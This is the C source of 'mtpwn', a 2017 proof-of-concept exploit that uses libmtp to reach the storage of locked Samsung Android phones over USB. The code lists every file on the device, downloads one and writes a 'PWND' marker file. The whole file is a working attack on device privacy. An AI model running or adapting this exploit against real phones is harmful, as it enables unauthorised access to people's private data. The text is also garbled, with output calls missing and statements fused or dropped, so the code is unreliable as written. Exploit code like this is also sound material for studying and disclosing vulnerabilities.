/*
* mtpwn - PoC exploit for a vulnerability of Samsung's Android
* phones that allows an attacker to access phone storages
* via USB, bypassing lock screen and/or "Charge only" mode.
* It requires libmtp.
*
* Copyright (C) 2017 Salvatore Mesoraca <[email protected]>
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <libmtp.h>
#define MAX_PATH 1024
static void walk(char *fname,
LIBMTP_file_t *files,
LIBMTP_folder_t *folders,
char **flist,
size_t nmem,
ssize_t *idx,
ssize_t pidx)
{
size_t cidx = *idx;
size_t fidx;
if (folders == NULL || cidx+1 >= nmem)
return;
cidx = ++(*idx);
flist
[cidx
] = malloc(sizeof(char)*MAX_PATH
); if (pidx == -1)
MAX_PATH,
"%s/%x/%s/",
fname,
folders->storage_id,
folders->name);
else
MAX_PATH,
"%s%s/",
flist[pidx],
folders->name);
walk(fname, files, folders->child, flist, nmem, idx, cidx);
walk(fname, files, folders->sibling, flist, nmem, idx, pidx);
while (files != NULL) {
if (files->parent_id == folders->folder_id &&
folders->storage_id == files->storage_id) {
fidx = ++(*idx);
if (fidx >= nmem)
return;
flist
[fidx
] = malloc(sizeof(char)*MAX_PATH
); MAX_PATH,
"%s%s",
flist[cidx],
files->filename);
} else if (cidx == 0 && files->parent_id == 0) {
fidx = ++(*idx);
if (fidx >= nmem)
return;
flist
[fidx
] = malloc(sizeof(char)*MAX_PATH
); MAX_PATH,
"%s/%x/%s",
fname,
files->storage_id,
files->filename);
}
files = files->next;
}
}
static size_t folders_count(LIBMTP_folder_t *folders)
{
size_t c = 1;
if (folders == NULL)
return 0;
c += folders_count(folders->child);
c += folders_count(folders->sibling);
return c;
}
static size_t files_count(LIBMTP_file_t *files)
{
size_t c = 0;
while (files != NULL) {
files = files->next;
++c;
}
return c;
}
static size_t approx_count(LIBMTP_file_t *files, LIBMTP_folder_t *folders)
{
size_t c = 0;
c += files_count(files);
c += folders_count(folders);
return c;
}
static int pathcmp(const void *a, const void *b)
{
return strcmp(*((char **)a
), *((char **)b
)); }
static void destroy(char **fname,
LIBMTP_file_t **files,
LIBMTP_folder_t **folders,
char ***flist,
size_t nmem)
{
int i;
LIBMTP_file_t *fs = *files, *tmp;
char **fl = *flist;
*fname = NULL;
while (fs != NULL) {
tmp = fs;
fs = fs->next;
LIBMTP_destroy_file_t(tmp);
}
*files = NULL;
LIBMTP_destroy_folder_t(*folders);
*folders = NULL;
for (i = 0; i < nmem; ++i)
if (nmem)
*flist = NULL;
}
int main(int argc, char *argv[])
{
char *fname;
ssize_t idx;
size_t fcount = 0, reals, i;
char **flist;
LIBMTP_mtpdevice_t *device_list, *device;
LIBMTP_file_t *files, *f2;
LIBMTP_folder_t *folders;
LIBMTP_file_t *newfile;
LIBMTP_Init();
switch (LIBMTP_Get_Connected_Devices(&device_list)) {
case LIBMTP_ERROR_NONE:
break;
case LIBMTP_ERROR_NO_DEVICE_ATTACHED:
fprintf(stderr
, "%s: no devices found\n", argv
[0]); return 0;
case LIBMTP_ERROR_CONNECTING:
"%s: There has been an error connecting\n",
argv[0]);
return 1;
case LIBMTP_ERROR_MEMORY_ALLOCATION:
fprintf(stderr
, "%s: Memory Allocation Error\n", argv
[0]); return 1;
case LIBMTP_ERROR_GENERAL:
default:
fprintf(stderr
, "%s: Unknown error\n", argv
[0]); return 1;
}
for (device = device_list; device != NULL; device = device->next) {
fname = LIBMTP_Get_Friendlyname(device);
if (fname == NULL)
fname = strdup("NONAME");
folders = LIBMTP_Get_Folder_List(device);
files = LIBMTP_Get_Filelisting_With_Callback(device,
NULL,
NULL);
if (folders == NULL && files == NULL) {
fprintf(stderr
, "Nothing to see here.\n"); LIBMTP_Dump_Errorstack(device);
LIBMTP_Clear_Errorstack(device);
} else {
fcount = approx_count(files, folders);
flist
= calloc(fcount
, sizeof(char *)); idx = -1;
walk(fname, files, folders, flist, fcount, &idx, -1);
reals = 0;
while (reals < fcount)
if (flist[reals])
++reals;
else
break;
qsort(flist
, reals
, sizeof(char *), pathcmp
); for (i = 0; i < reals; ++i)
reals = files_count(files);
f2 = files;
while (f2 != NULL && reals > 0) {
f2 = f2->next;
--reals;
}
for (i
= 0; i
< strlen(f2
->filename
); ++i
) if (f2->filename[i] == '/')
f2->filename[i] = '_';
if (LIBMTP_Get_File_To_File(device,
f2->item_id,
f2->filename,
NULL,
NULL))
fprintf(stderr
, "\nError getting file.\n"); else
printf("\nDownloaded file: %s\n", f2->filename);
newfile = LIBMTP_new_file_t();
newfile->filename = strdup("PWND");
newfile->filesize = 0;
newfile->filetype = LIBMTP_FILETYPE_UNKNOWN;
newfile->storage_id = f2->storage_id;
newfile->parent_id = 0;
if (LIBMTP_Send_File_From_File(device,
argv[0],
newfile,
NULL,
NULL))
fprintf(stderr
, "\nError sending file.\n"); else
printf("\nUploaded file PWND on storage %x.\n", f2->storage_id);
LIBMTP_destroy_file_t(newfile);
}
destroy(&fname, &files, &folders, &flist, fcount);
}
LIBMTP_Release_Device_List(device_list);
return 0;
}
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